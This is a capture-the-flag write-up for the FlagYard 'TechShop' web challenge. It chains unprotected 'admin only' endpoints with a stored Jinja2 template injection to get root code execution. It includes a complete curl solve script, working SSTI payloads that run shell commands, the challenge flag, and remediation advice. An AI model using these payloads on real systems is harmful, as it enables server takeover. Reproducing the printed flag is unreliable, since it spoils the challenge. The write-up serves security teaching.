Back to writeups
FlagYardwebeasysolved

TechShop

23 Jun 2026 · by 0xIDA

Solvers

TechShop

Author: 0xIDA

Solvers

Platform: FlagYard · Category: web · Difficulty: easy

Summary

A shop app leaked two "admin only" endpoints in an HTML comment, neither of which enforced authorization. Editing a product description (broken access control) plus a Jinja2 server-side template injection in the order-history view chained into remote code execution as root, which read the flag.

Solution

Step 1: Find the broken-auth endpoints

The authenticated /shop page leaks two endpoints in a JS comment:

  • /update_balance/<user_id> (POST balance=<amount>)
  • /edit_product/<product_id> (POST description=<text>)

Both are labeled "admin only" but neither checks authorization. A normal registered user can call them directly.

Step 2: Locate where the description is template-evaluated

Product descriptions render literally on /shop and /cart, but the order-history section of /profile/<id> passes them through Jinja2. Injecting {{7*7}} into a product description and then buying that product makes the order-history view render 49. The purchase step is required because evaluation only happens for items in the order history.

Step 3: SSTI -> RCE -> read flag

With template evaluation confirmed, escalate to code execution and read the flag.

#!/usr/bin/env bash
# Full solve: broken-auth + stored SSTI -> RCE -> flag
BASE="http://tgvldeleqq-0.playat.flagyard.com"
JAR=/tmp/ts.txt
U="ida$RANDOM"; P="Passw0rd123"

# 1) Register + login
curl -sS -c $JAR -b $JAR -X POST "$BASE/register" --data-urlencode "username=$U" --data-urlencode "password=$P" >/dev/null
curl -sS -c $JAR -b $JAR -X POST "$BASE/login"    --data-urlencode "username=$U" --data-urlencode "password=$P" >/dev/null

# 2) (optional) self-grant balance via broken-auth endpoint
curl -sS -b $JAR -X POST "$BASE/update_balance/2" --data-urlencode "balance=1000000" >/dev/null

# 3) Inject SSTI RCE payload into a product description, buy it, read order history
PAYLOAD='{{ cycler.__init__.__globals__.os.popen("cat /app/flag.txt").read() }}'
curl -sS -b $JAR -X POST "$BASE/edit_product/4" --data-urlencode "description=$PAYLOAD" >/dev/null
curl -sS -b $JAR "$BASE/add_to_cart/4" >/dev/null
curl -sS -b $JAR "$BASE/checkout" >/dev/null
curl -sS -b $JAR "$BASE/profile/2" | grep -oE 'FlagY\{[^}]*\}' | head -1

Running the script prints:

FlagY{00b7c6d7a8c20d2f969ee09a95a04a39}

The SSTI also gives full RCE as root — {{ cycler.__init__.__globals__.os.popen("id").read() }} returns uid=0(root) gid=0(root) groups=0(root).

Remediation

  • Enforce real authorization checks on /update_balance and /edit_product.
  • Never pass stored user input through render_template_string; use render_template with auto-escaped variables.

Flag

FlagY{00b7c6d7a8c20d2f969ee09a95a04a39}